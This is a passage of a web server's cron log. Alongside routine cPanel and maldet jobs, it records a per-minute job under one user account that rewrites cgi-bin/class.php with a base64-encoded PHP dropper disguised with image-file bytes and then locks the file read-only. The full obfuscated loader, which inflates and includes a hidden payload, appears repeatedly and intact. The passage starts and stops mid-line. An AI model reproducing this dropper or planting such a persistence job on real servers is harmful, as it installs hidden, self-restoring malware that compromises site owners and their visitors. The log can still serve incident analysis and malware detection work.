UpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:11:01 server CROND[31713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:12:01 server CROND[31817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 13:12:01 server CROND[31818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:13:01 server CROND[31878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:14:01 server CROND[32039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:15:01 server CROND[32106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:15:01 server CROND[32108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:15:01 server CROND[32107]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:16:01 server CROND[32215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:17:01 server CROND[32272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:18:01 server CROND[32336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:19:01 server CROND[32485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:20:01 server CROND[32535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 13:20:01 server CROND[32537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 13:20:01 server CROND[32538]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 13:20:01 server CROND[32539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:20:01 server CROND[32541]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 13:21:01 server CROND[32659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:22:01 server CROND[32723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:23:01 server CROND[335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 13:24:01 server CROND[482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsi